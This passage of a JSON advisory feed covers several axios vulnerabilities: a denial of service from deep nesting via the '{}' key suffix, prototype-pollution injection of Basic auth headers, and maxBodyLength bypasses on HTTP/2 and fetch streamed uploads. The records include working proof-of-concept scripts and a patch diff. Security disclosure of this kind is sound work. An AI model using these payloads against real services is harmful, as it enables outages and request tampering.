form-encoded path is also affected.\n\nThe attacker payload is a single top-level key ending in `'{}'` whose value is a nested object. The keys themselves do not have to be deep, so the payload is small to send (a few KB of `{\"x\":{\"x\":...}}` produces enough nesting to overflow). The original advisory's threat model -- a server that forwards `req.body` or `req.query` into axios -- is unchanged:\n\n```javascript\napp.post('/forward', async (req, res) =\u003e {\n await axios.post('https://upstream/api', req.body); // req.body attacker-controlled\n res.send('ok');\n});\n// attacker POST /forward with content-type: application/x-www-form-urlencoded\n// body: {\"evil{}\": \u003c8000-deep object\u003e}\n// -\u003e JSON.stringify recurses inside defaultVisitor -\u003e RangeError -\u003e handler crashes\n```\n\nThe error is not an `AxiosError`; it is a raw `RangeError` thrown from the stringifier, so handlers that look for `err.code === 'ERR_FORM_DATA_DEPTH_EXCEEDED'` (the documented signal that the maxDepth guard fired) do not see it. Synchronous startup paths or worker threads still take the whole process down.\n\nThe fix is to also depth-limit (or pre-walk) the value before calling `JSON.stringify` on line 170, or to remove the top-level `'{}'` shortcut and rely on the depth-checked `build()` recursion to handle it. A minimal patch that preserves observable behaviour for legal payloads:\n\n```diff\n if (utils.endsWith(key, '{}')) {\n // eslint-disable-next-line no-param-reassign\n key = metaTokens ? key : key.slice(0, -2);\n+ // Reject objects that would exceed maxDepth before handing to JSON.stringify,\n+ // which is recursive in V8 and stack-overflows on deeply nested input.\n+ (function checkDepth(v, d) {\n+ if (d \u003e maxDepth) {\n+ throw new AxiosError(\n+ 'Object is too deeply nested (' + d + ' levels). Max depth: ' + maxDepth,\n+ AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED\n+ );\n+ }\n+ if (v \u0026\u0026 typeof v === 'object') {\n+ for (const k in v) checkDepth(v[k], d + 1);\n+ }\n+ })(value, 0);\n // eslint-disable-next-line no-param-reassign\n value = JSON.stringify(value);\n }\n```\n\n(The recursion in `checkDepth` itself is bounded by `maxDepth`, so it cannot itself overflow.)\n\n## PoC\nReproduces against a clean clone of `axios/axios` at v1.16.0 with `npm install` already run. `targets/axios/poc_jsonstringify_dos.mjs` is the script:\n\n```javascript\nimport axios from './source/index.js';\n\nfunction buildDeep(depth) {\n let head = {};\n let cur = head;\n for (let i = 0; i \u003c depth; i++) { cur.x = {}; cur = cur.x; }\n return head;\n}\n\nconst malicious = buildDeep(5000);\nconst safeAdapter = () =\u003e Promise.resolve({\n data: 'never reached', status: 200, statusText: 'OK', headers: {}, config: {}\n});\n\n// 1. POST x-www-form-urlencoded\ntry {\n await axios.post('http://example.test/x',\n { 'evil{}': malicious },\n { headers: { 'content-type': 'application/x-www-form-urlencoded' }, adapter: safeAdapter });\n} catch (e) {\n console.log('POST form-encoded:', e.name, '-', e.message);\n}\n\n// 2. GET with params\ntry {\n await axios.get('http://example.test/x',\n { params: { 'evil{}': malicious }, adapter: safeAdapter });\n} catch (e) {\n console.log('GET params:', e.name, '-', e.message);\n}\n```\n\n3/3 runs reproduce the same `RangeError` on `axios@1.16.0` with Node.js 24:\n\n```\n$ node poc_jsonstringify_dos.mjs\nPOST form-encoded: RangeError - Maximum call stack size exceeded\nGET params: RangeError - Maximum call stack size exceeded\n```\n\n`safeAdapter` is a stub that returns a fake response, so the crash is provably inside axios's serialization layer, not in HTTP I/O. Removing the `'{}'` suffix from the key and re-running gives the expected `AxiosError: Object is too deeply nested ... ERR_FORM_DATA_DEPTH_EXCEEDED` from the maxDepth guard, confirming the fix is wired correctly elsewhere -- it just does not cover this branch.\n\nCrash threshold on a default-stack Node.js process is roughly depth 2500-3000; 8000 is comfortably above that, and the payload is a few KB.\n\n## Impact\nA remote, unauthenticated attacker who can influence an object that the application passes to axios as request `data` or `params` triggers an uncaught `RangeError` from inside the synchronous `JSON.stringify` call in `defaultVisitor`. In server-side applications that proxy or re-forward client JSON through axios -- the same threat model that motivated GHSA-62hf-57xw-28j9 -- this crashes the request handler and, in worker/cluster setups, the whole process. The previously shipped `maxDepth` guard does not stop it because the `'{}'` suffix path bypasses `build()` entirely. Same severity class as the original advisory (CWE-674 Uncontrolled Recursion, network-reachable DoS); the only difference is the attacker has to suffix one of their object keys with `'{}'` to land on the unguarded code path.\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-20T22:38:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-hcpx-6fm6-wx23","https://github.com/axios/axios/pull/11000","https://github.com/axios/axios/pull/11001","https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d","https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2","https://github.com/axios/axios/releases/tag/v0.33.0","https://github.com/axios/axios/releases/tag/v1.18.0","https://nvd.nist.gov/vuln/detail/CVE-2026-67321","https://nvd.nist.gov/vuln/detail/CVE-2026-69125","https://www.vulncheck.com/advisories/axios-before-denial-of-service-via-maxdepth-bypass","https://github.com/advisories/GHSA-hcpx-6fm6-wx23"],"source_kind":"github","identifiers":["GHSA-hcpx-6fm6-wx23","CVE-2026-67321"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T23:00:09.754Z","updated_at":"2026-09-25T12:01:47.614Z","epss_percentage":0.00534,"epss_percentile":0.42594,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oY3B4LTZmbTYtd3gyM84ABcRK","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oY3B4LTZmbTYtd3gyM84ABcRK","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.18.0","vulnerable_version_range":"\u003e= 1.15.1, \u003c 1.18.0"},{"first_patched_version":"0.33.0","vulnerable_version_range":"\u003e= 0.31.1, \u003c 0.33.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oY3B4LTZmbTYtd3gyM84ABcRK/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03cThxLXJqNmotbWhqcc4ABcRJ","url":"https://github.com/advisories/GHSA-7q8q-rj6j-mhjq","title":"Axios: Nested axios option objects can consume polluted prototype values","description":"## Summary\n\nAxios can consume inherited properties from nested request option objects when the JavaScript process already has a polluted `Object.prototype`.\n\nThe top-level merged config is protected with a null prototype, but nested plain objects such as `auth` and `paramsSerializer` are cloned into ordinary objects. If application code passes placeholders such as `auth: {}` or `paramsSerializer: {}`, inherited `username`, `password`, `encode`, or `serialize` properties can influence outbound requests.\n\n## Impact\n\nThis is reachable only when another component has already polluted `Object.prototype` and the application passes an affected nested axios option object.\n\nConfirmed impacts include silent injection of an `Authorization: Basic ...` header from inherited `username` and `password` values, and query-string tampering when inherited `paramsSerializer` fields are function-valued.\n\nThe `auth` case requires only string-valued pollution. Full query-string replacement through `paramsSerializer.serialize` requires a function-valued pollution primitive; string-only pollution may still cause request failures or encoding changes through `encode`.\n\nThis does not mean every axios request is affected. Requests that do not pass `auth`, do not pass `paramsSerializer`, or provide explicit own properties for the relevant nested fields are not affected by this specific gadget.\n\n## Affected Functionality\n\nAffected runtime functionality:\n\n- Node HTTP adapter Basic auth handling in `lib/adapters/http.js`.\n- Browser/fetch/XHR Basic auth handling through `lib/helpers/resolveConfig.js`.\n- Query serialization through `lib/helpers/buildURL.js`.\n- `axios.getUri()` when called with an affected `paramsSerializer` object.\n\nAffected config shapes:\n\n- `auth: {}` or an `auth` object missing own `username` and/or `password`.\n- `paramsSerializer: {}` or a `paramsSerializer` object missing own `encode` and/or `serialize`.\n\nUnaffected by this specific issue:\n\n- Requests with no `auth` property.\n- Requests with no `paramsSerializer` property.\n- Top-level polluted `auth` or `paramsSerializer` values in current hardened versions.\n\n## Technical Details\n\n`lib/core/mergeConfig.js` creates the top-level merged config with `Object.create(null)`, but nested object cloning still uses ordinary `{}` containers:\n\n```js\n} else if (utils.isPlainObject(source)) {\n  return utils.merge({}, source);\n}\n```\n\nDownstream code then reads nested fields without own-property checks.\n\nIn `lib/helpers/resolveConfig.js`:\n\n```js\nbtoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n```\n\nIn `lib/adapters/http.js`:\n\n```js\nconst username = configAuth.username || '';\nconst password = configAuth.password || '';\nauth = username + ':' + password;\n```\n\nIn `lib/helpers/buildURL.js`:\n\n```js\nconst _encode = (options \u0026\u0026 options.encode) || encode;\nconst serializeFn = _options \u0026\u0026 _options.serialize;\n```\n\n## Proof of Concept of Attack\n\n```js\nimport http from 'node:http';\nimport axios from './index.js';\n\nconst user = 'attacker';\nconst pass = 'exfil';\n\nObject.defineProperty(Object.prototype, 'username', {\n  value: user,\n  configurable: true\n});\n\nObject.defineProperty(Object.prototype, 'password', {\n  value: pass,\n  configurable: true\n});\n\nObject.defineProperty(Object.prototype, 'serialize', {\n  value: () =\u003e 'polluted=1',\n  configurable: true\n});\n\nconst server = http.createServer((req, res) =\u003e {\n  res.writeHead(200, { 'content-type': 'application/json' });\n  res.end(JSON.stringify({\n    authorization: req.headers.authorization || null,\n    url: req.url\n  }));\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, '127.0.0.1', resolve));\n\ntry {\n  const port = server.address().port;\n  const response = await axios.get(`http://127.0.0.1:${port}/demo`, {\n    auth: {},\n    paramsSerializer: {},\n    params: { unused: 'ignored' }\n  });\n\n  console.log(response.data);\n} finally {\n  await new Promise((resolve) =\u003e server.close(resolve));\n  delete Object.prototype.username;\n  delete Object.prototype.password;\n  delete Object.prototype.serialize;\n}\n```\n\nObserved result:\n\n```json\n{\n  \"authorization\": \"Basic YXR0YWNrZXI6ZXhmaWw=\",\n  \"url\": \"/demo?polluted=1\"\n}\n```\n\n## Workarounds\n\nIf upgrading is not yet possible, avoid passing placeholder nested option objects.\n\nRemove `auth` entirely when Basic auth is not intended. For `paramsSerializer` objects, provide explicit own `encode` and `serialize` properties or remove `paramsSerializer` when custom serialization is not required.\n\nThese workarounds only address this axios gadget. They do not remediate the separate prototype-pollution primitive that must already exist in the application process.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\naxios 1.16.1 mitigates prototype-pollution gadgets on the top-level request config but not on nested option objects. When a caller passes a partial nested option object such as auth: {} or paramsSerializer: {}, axios reads inner fields (username, password, encode, serialize) through the prototype chain. If Object.prototype has been polluted by another component in the same Node.js process, those inherited values are silently injected into the outbound request, including the Authorization header and the serialized query string. \n\n### Details\nmergeConfig (lib/core/mergeConfig.js) was hardened to use a null-prototype container for the top-level config, but its nested-clone helper still produces ordinary {} containers:\n\nmergeConfig.js Lines 36-45\n\n```\n  function getMergedValue(target, source, prop, caseless) {\n    if (utils.isPlainObject(target) \u0026\u0026 utils.isPlainObject(source)) {\n      return utils.merge.call({ caseless }, target, source);\n    } else if (utils.isPlainObject(source)) {\n      return utils.merge({}, source);\n    } else if (utils.isArray(source)) {\n      return source.slice();\n    }\n    return source;\n  }\n```\n\nThe cloned nested objects therefore inherit from Object.prototype. Downstream consumers read sensitive fields via plain dotted access, with no own-property guard:\n\nBrowser / fetch Basic auth — lib/helpers/resolveConfig.js:\nresolveConfig.js Lines 64-70\n```\n  if (auth) {\n    headers.set(\n      'Authorization',\n      'Basic ' +\n        btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n    );\n  }\n```\n\nNode HTTP adapter Basic auth — lib/adapters/http.js:\nhttp.js Lines 829-836\n```\n      // HTTP basic authentication\n      let auth = undefined;\n      const configAuth = own('auth');\n      if (configAuth) {\n        const username = configAuth.username || '';\n        const password = configAuth.password || '';\n        auth = username + ':' + password;\n      }\n```\n\nparamsSerializer reads — lib/helpers/buildURL.js:\nbuildURL.js Lines 31-54\n```\nexport default function buildURL(url, params, options) {\n  if (!params) {\n    return url;\n  }\n  const _encode = (options \u0026\u0026 options.encode) || encode;\n  const _options = utils.isFunction(options)\n    ? {\n        serialize: options,\n      }\n    : options;\n  const serializeFn = _options \u0026\u0026 _options.serialize;\n  let serializedParams;\n  if (serializeFn) {\n    serializedParams = serializeFn(params, _options);\n  } else {\n    serializedParams = utils.isURLSearchParams(params)\n      ? params.toString()\n      : new AxiosURLSearchParams(params, _options).toString(_encode);\n  }\n```\n\nBecause auth.username, auth.password, options.encode, and options.serialize are accessed without hasOwnProperty checks, a polluted Object.prototype.username / Object.prototype.password / Object.prototype.serialize flows directly into the outgoing request.\n\nThe auth sink is the primary impact (silent Basic-auth injection); paramsSerializer.serialize is a secondary but powerful sink because it can fully replace the query string.\n\n### PoC\n```\nimport http from 'node:http';\nimport axios from '../../index.js';\n\nconst ATTACKER_USER = 'attacker';\nconst ATTACKER_PASS = 'exfil';\nconst ATTACKER_BASIC = Buffer.from(`${ATTACKER_USER}:${ATTACKER_PASS}`).toString('base64');\n\n// Step 1: simulate a pre-existing prototype-pollution primitive in this process.\n// In reality, a separate dependency would have done this. We keep the\n// \"polluted\" properties non-enumerable so they only affect inherited reads,\n// which is the realistic shape of most prototype-pollution gadgets.\nObject.defineProperty(Object.prototype, 'username', {\n  value: ATTACKER_USER,\n  configurable: true,\n});\nObject.defineProperty(Object.prototype, 'password', {\n  value: ATTACKER_PASS,\n  configurable: true,\n});\nObject.defineProperty(Object.prototype, 'serialize', {\n  value: () =\u003e 'polluted=1',\n  configurable: true,\n});\n\n// Local capture server.\nconst server = http.createServer((req, res) =\u003e {\n  const captured = {\n    authorization: req.headers['authorization'] || null,\n    url: req.url,\n  };\n  res.writeHead(200, { 'content-type': 'application/json' });\n  res.end(JSON.stringify(captured));\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, '127.0.0.1', resolve));\nconst port = server.address().port;\n\ntry {\n  // Application code: passes nested *placeholder* option objects that have\n  // no own auth/serializer properties. Without prototype pollution this is\n  // a no-op. With prototype pollution it becomes attacker-controlled state.\n  const response = await axios.get(`http://127.0.0.1:${port}/demo`, {\n    auth: {},\n    paramsSerializer: {},\n    params: { unused: 'ignored-by-polluted-serializer' },\n  });\n\n  console.log('--- PoC: nested-option prototype-pollution gadgets ---');\n  console.log('Server saw:', JSON.stringify(response.data));\n\n  const authLeaked = response.data.authorization === `Basic ${ATTACKER_BASIC}`;\n  const urlRewritten = response.data.url === '/demo?polluted=1';\n\n  if (authLeaked \u0026\u0026 urlRewritten) {\n    console.log(\n      'VULNERABLE: nested auth + paramsSerializer inherited polluted ' +\n        'Object.prototype values into the outbound request.'\n    );\n    process.exitCode = 0;\n  } else {\n    console.log('NOT VULNERABLE: nested option objects did not leak prototype state.');\n    console.log('  authLeaked   =', authLeaked);\n    console.log('  urlRewritten =', urlRewritten);\n    process.exitCode = 1;\n  }\n} finally {\n  server.close();\n  // Restore Object.prototype so a noisy exit/process state cannot affect\n  // anything else accidentally sharing the runtime.\n  delete Object.prototype.username;\n  delete Object.prototype.password;\n  delete Object.prototype.serialize;\n}\n```\n\n### Impact\nConcrete consequences:\n- Silent injection of attacker-controlled Authorization: Basic … headers on outbound requests, enabling credential exfiltration to attacker-chosen upstreams or impersonation against trusted upstreams.\n- Full takeover of query-string serialization via paramsSerializer.serialize, enabling request tampering, cache-key poisoning, and bypass of upstream signature/policy checks that sign the literal request line.\n\u003cdetails\u003e","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-20T22:37:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-7q8q-rj6j-mhjq","https://github.com/axios/axios/pull/11000","https://github.com/axios/axios/pull/11001","https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d","https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2","https://github.com/axios/axios/releases/tag/v0.33.0","https://github.com/axios/axios/releases/tag/v1.18.0","https://nvd.nist.gov/vuln/detail/CVE-2026-67319","https://nvd.nist.gov/vuln/detail/CVE-2026-69123","https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-nested-option-objects","https://github.com/advisories/GHSA-7q8q-rj6j-mhjq"],"source_kind":"github","identifiers":["GHSA-7q8q-rj6j-mhjq","CVE-2026-67319"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T23:00:09.754Z","updated_at":"2026-09-25T18:01:22.208Z","epss_percentage":0.00318,"epss_percentile":0.22006,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03cThxLXJqNmotbWhqcc4ABcRJ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03cThxLXJqNmotbWhqcc4ABcRJ","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.18.0","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.18.0"},{"first_patched_version":"0.33.0","vulnerable_version_range":"\u003e= 0.8.0, \u003c 0.33.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03cThxLXJqNmotbWhqcc4ABcRJ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1td2YyLTNwcjMtODY5OM4ABcRI","url":"https://github.com/advisories/GHSA-mwf2-3pr3-8698","title":"Axios: HTTP/2 streamed uploads bypass `maxBodyLength`","description":"## Summary\n\nAxios versions with Node.js HTTP/2 support allow streamed request bodies to bypass `maxBodyLength` enforcement when requests are sent with `httpVersion: 2`.\n\nThis affects applications that rely on `maxBodyLength` as a hard cap while forwarding attacker-controlled streams, such as upload endpoints proxying user data to an upstream HTTP/2 service. Buffered request bodies are still checked before the request is sent.\n\n## Impact\n\nAn attacker who can control a stream passed to axios can cause the application to transmit more outbound data than the configured `maxBodyLength` limit.\n\nPractical impact is limited to resource consumption and policy bypass: excess outbound bandwidth, egress cost, upstream quota consumption, and limited availability impact on the application or upstream peer. This does not provide code execution, credential disclosure, or request destination control.\n\nBrowser adapters are not affected. Axios calls using the default unlimited `maxBodyLength: -1` do not cross this specific configured-limit boundary.\n\n## Affected Functionality\n\nAffected calls require all of the following:\n\n- Node.js HTTP adapter.\n- `httpVersion: 2`.\n- Request `data` supplied as a stream.\n- A finite `maxBodyLength`.\n- Attacker-controlled or attacker-influenced stream contents.\n\nUnaffected or differently affected paths:\n\n- String, Buffer, and ArrayBuffer request bodies are checked before transport selection.\n- Browser XHR/fetch adapters are not affected.\n- HTTP/1.1 requests using `follow-redirects` enforce `options.maxBodyLength`.\n- In `axios \u003e=1.15.1`, setting `maxRedirects: 0` on affected HTTP/2 upload calls activates axios’ existing stream wrapper and rejects oversized streams.\n\n## Technical Details\n\nIn `lib/adapters/http.js`, axios selects `http2Transport` whenever `httpVersion` resolves to `2`. The adapter still stores `config.maxBodyLength` on `options.maxBodyLength`, but Node’s HTTP/2 request API does not enforce that option.\n\nThe stream-level byte-counting wrapper is currently gated on `config.maxBodyLength \u003e -1 \u0026\u0026 config.maxRedirects === 0`. For HTTP/2 requests using the default redirect setting, axios does not use `follow-redirects` and also does not enter this wrapper, so `uploadStream.pipe(req)` sends the full stream.\n\nLocal verification against the current `v1.x` checkout showed a request with `maxBodyLength: 1024` successfully transmitting `2097152` bytes over HTTP/2.\n\nNo fixed release exists yet. The fix should enforce the byte-counting stream wrapper for HTTP/2 streamed uploads, not only for the native HTTP/1.1 `maxRedirects: 0` path.\n\n## Proof of Concept of Attack\n\n```js\nimport http2 from 'node:http2';\nimport {Readable} from 'node:stream';\nimport axios from './index.js';\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\nconst server = http2.createServer();\n\nserver.on('stream', (stream) =\u003e {\n  let received = 0;\n\n  stream.on('data', (chunk) =\u003e {\n    received += chunk.length;\n  });\n\n  stream.on('end', () =\u003e {\n    stream.respond({':status': 200, 'content-type': 'application/json'});\n    stream.end(JSON.stringify({received, limit: LIMIT}));\n  });\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, '127.0.0.1', resolve));\n\nfunction makeBody(total) {\n  const chunk = Buffer.alloc(64 * 1024, 0x41);\n  let remaining = total;\n\n  return new Readable({\n    read() {\n      if (remaining \u003c= 0) {\n        this.push(null);\n        return;\n      }\n\n      const next = remaining \u003e= chunk.length ? chunk : chunk.subarray(0, remaining);\n      remaining -= next.length;\n      this.push(next);\n    }\n  });\n}\n\ntry {\n  const response = await axios.post(\n    `http://127.0.0.1:${server.address().port}/upload`,\n    makeBody(PAYLOAD_BYTES),\n    {\n      httpVersion: 2,\n      maxBodyLength: LIMIT,\n      headers: {'content-type': 'application/octet-stream'}\n    }\n  );\n\n  console.log(response.data);\n  // Vulnerable result: { received: 2097152, limit: 1024 }\n} finally {\n  server.close();\n}\n```\n\n## Workarounds\n\nFor `axios \u003e=1.15.1`, set `maxRedirects: 0` on affected HTTP/2 streamed upload calls. HTTP/2 redirects are not currently supported by the axios HTTP/2 adapter, so this is a practical per-call mitigation for this path.\n\nFor earlier affected versions, pre-limit the stream with a byte-counting transform before passing it to axios, reject oversized uploads before forwarding them, or avoid `httpVersion: 2` for untrusted streamed uploads.### Summary\nOn Node.js, axios's maxBodyLength is documented as a hard cap on outbound request bodies. For streamed uploads sent over httpVersion: 2, axios never enforces this cap: the entire body is transmitted regardless of size. Severity: medium.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n### Details\nIn lib/adapters/http.js, transport selection is unconditional for HTTP/2:\n\nhttp.js Lines 937-956\n```\n      if (isHttp2) {\n        transport = http2Transport;\n      } else {\n        const configTransport = own('transport');\n        if (configTransport) {\n          transport = configTransport;\n        } else if (config.maxRedirects === 0) {\n          transport = isHttpsRequest ? https : http;\n          isNativeTransport = true;\n        } else {\n          if (config.maxRedirects) {\n            options.maxRedirects = config.maxRedirects;\n          }\n          const configBeforeRedirect = own('beforeRedirect');\n          if (configBeforeRedirect) {\n            options.beforeRedirects.config = configBeforeRedirect;\n          }\n          transport = isHttpsRequest ? httpsFollow : httpFollow;\n        }\n      }\n```\n\nmaxBodyLength is then stored on the request options:\n\nhttp.js Lines 958-963\n```\n      if (config.maxBodyLength \u003e -1) {\n        options.maxBodyLength = config.maxBodyLength;\n      } else {\n        // follow-redirects does not skip comparison, so it should always succeed for axios -1 unlimited\n        options.maxBodyLength = Infinity;\n      }\n```\n…but options.maxBodyLength is only honored by the follow-redirects transport. Node's native http2.request does not read it. The only stream-level cap in this file is the byte-counting Transform wrapper for streamed uploads, which is gated on config.maxRedirects === 0:\n\nhttp.js Lines 1270-1304\n```\n        // Enforce maxBodyLength for streamed uploads on the native http/https\n        // transport (maxRedirects === 0); follow-redirects enforces it on the\n        // other path.\n        let uploadStream = data;\n        if (config.maxBodyLength \u003e -1 \u0026\u0026 config.maxRedirects === 0) {\n          const limit = config.maxBodyLength;\n          let bytesSent = 0;\n          uploadStream = stream.pipeline(\n            [\n              data,\n              new stream.Transform({\n                transform(chunk, _enc, cb) {\n                  bytesSent += chunk.length;\n                  if (bytesSent \u003e limit) {\n                    return cb(\n                      new AxiosError(\n                        'Request body larger than maxBodyLength limit',\n                        AxiosError.ERR_BAD_REQUEST,\n                        config,\n                        req\n                      )\n                    );\n                  }\n                  cb(null, chunk);\n                },\n              }),\n            ],\n            utils.noop\n          );\n          uploadStream.on('error', (err) =\u003e {\n            if (!req.destroyed) req.destroy(err);\n          });\n        }\n        uploadStream.pipe(req);\n```\n\nFor the HTTP/2 path, neither branch fires: the http2Transport is always selected, and follow-redirects is never used. The byte-counting transform also doesn't fire unless the caller happens to pin maxRedirects: 0. As a result, uploadStream.pipe(req) streams the full body into the HTTP/2 request unbounded.\n\n### PoC\n```\nimport http2 from 'node:http2';\nimport { Readable } from 'node:stream';\nimport axios from '../../index.js';\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\n// Cleartext HTTP/2 (h2c) server. http2.connect() supports h2c when given an\n// `http://...` authority, which mirrors what axios does when the request URL\n// uses `http://` and `httpVersion: 2`.\nconst server = http2.createServer();\n\nserver.on('stream', (stream, _headers) =\u003e {\n  let received = 0;\n  stream.on('data', (chunk) =\u003e {\n    received += chunk.length;\n  });\n  stream.on('end', () =\u003e {\n    stream.respond({\n      ':status': 200,\n      'content-type': 'application/json',\n    });\n    stream.end(JSON.stringify({ received, limit: LIMIT }));\n  });\n  stream.on('error', () =\u003e {\n    /* swallow client-side aborts */\n  });\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, '127.0.0.1', resolve));\nconst port = server.address().port;\n\nfunction makeBodyStream(totalBytes) {\n  const CHUNK = Buffer.alloc(64 * 1024, 0x41);\n  let remaining = totalBytes;\n  return new Readable({\n    read() {\n      if (remaining \u003c= 0) {\n        this.push(null);\n        return;\n      }\n      const next = remaining \u003e= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining);\n      remaining -= next.length;\n      this.push(next);\n    },\n  });\n}\n\ntry {\n  let result;\n  try {\n    const response = await axios.post(`http://127.0.0.1:${port}/upload`, makeBodyStream(PAYLOAD_BYTES), {\n      httpVersion: 2,\n      maxBodyLength: LIMIT,\n      // We intentionally do NOT set maxRedirects: 0 — that flag activates the\n      // existing HTTP/1 byte-counting wrapper. The bug under test is that the\n      // HTTP/2 transport path skips that wrapper entirely.\n      headers: { 'content-type': 'application/octet-stream' },\n      // Omit content-length so the body is streamed without a known length.\n    });\n    result = { status: response.status, data: response.data };\n  } catch (err) {\n    result = { error: err \u0026\u0026 (err.code || err.message) };\n  }\n\n  console.log('--- PoC: HTTP/2 maxBodyLength bypass ---');\n  console.log('axios result:', JSON.stringify(result));\n\n  const ok =\n    result \u0026\u0026\n    result.status === 200 \u0026\u0026\n    result.data \u0026\u0026\n    typeof result.data === 'object' \u0026\u0026\n    result.data.received === PAYLOAD_BYTES \u0026\u0026\n    result.data.limit === LIMIT;\n\n  if (ok) {\n    console.log(\n      `VULNERABLE: server received ${result.data.received} bytes despite ` +\n        `maxBodyLength=${LIMIT}.`\n    );\n    process.exitCode = 0;\n  } else {\n    console.log('NOT VULNERABLE: axios refused or truncated the oversized stream.');\n    process.exitCode = 1;\n  }\n} finally {\n  server.close();\n  // http2 sessions cached by axios may keep the event loop alive; force exit\n  // after the assertion so the script returns instead of idling on TCP keep-alive.\n  setImmediate(() =\u003e process.exit(process.exitCode || 0));\n}\n```\n\n### Impact\n- Uncontrolled outbound egress: an attacker who controls the upstream stream (e.g. via an upload endpoint that pipes into axios) can force the application to transmit arbitrarily large payloads.\n- Bypass of cost/quota guards configured via maxBodyLength against billed upstream services.\n- Resource exhaustion against upstream peers, proxies, and the application's own connection / memory budget.\n\u003c/details\u003e","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-20T22:37:03.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L","references":["https://github.com/axios/axios/security/advisories/GHSA-mwf2-3pr3-8698","https://github.com/axios/axios/pull/11000","https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2","https://github.com/axios/axios/releases/tag/v1.18.0","https://nvd.nist.gov/vuln/detail/CVE-2026-67318","https://nvd.nist.gov/vuln/detail/CVE-2026-68948","https://github.com/advisories/GHSA-mwf2-3pr3-8698"],"source_kind":"github","identifiers":["GHSA-mwf2-3pr3-8698","CVE-2026-67318"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T23:00:09.754Z","updated_at":"2026-10-02T09:01:45.197Z","epss_percentage":0.00616,"epss_percentile":0.47552,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1td2YyLTNwcjMtODY5OM4ABcRI","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1td2YyLTNwcjMtODY5OM4ABcRI","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.18.0","vulnerable_version_range":"\u003e= 1.13.0, \u003c 1.18.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1td2YyLTNwcjMtODY5OM4ABcRI/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qcWg0LW05dzMtOGhwOc4ABcRH","url":"https://github.com/advisories/GHSA-jqh4-m9w3-8hp9","title":"Axios: Fetch adapter `ReadableStream` uploads bypass `maxBodyLength`","description":"## Summary\n\naxios’ fetch adapter does not enforce `maxBodyLength` for live WHATWG `ReadableStream` request bodies whose size cannot be determined before dispatch. Applications that use `adapter: \"fetch\"` and rely on `maxBodyLength` to cap untrusted upload/proxy streams can send the full stream even when it exceeds the configured limit.\n\nThis affects fetch-adapter usage in edge runtimes where fetch is selected, and in Node.js or browser environments where the fetch adapter is explicitly selected. The HTTP adapter’s stream upload path is not affected.\n\n## Impact\n\nAn attacker who can supply or influence a streamed request body can bypass the caller’s configured upload-size limit. Practical impact is unexpected outbound network egress, request-level resource consumption, and possible exhaustion of upstream API quotas or bandwidth.\n\nThis does not expose response data, execute code, or modify axios configuration. Exploitability depends on an application passing attacker-controlled, unknown-length stream data to axios and relying on `maxBodyLength` as the size guard.\n\n## Affected Functionality\n\nAffected:\n- `adapter: \"fetch\"` or environments where axios selects the fetch adapter.\n- Request methods with bodies, such as `POST`, `PUT`, and `PATCH`.\n- `data` as a 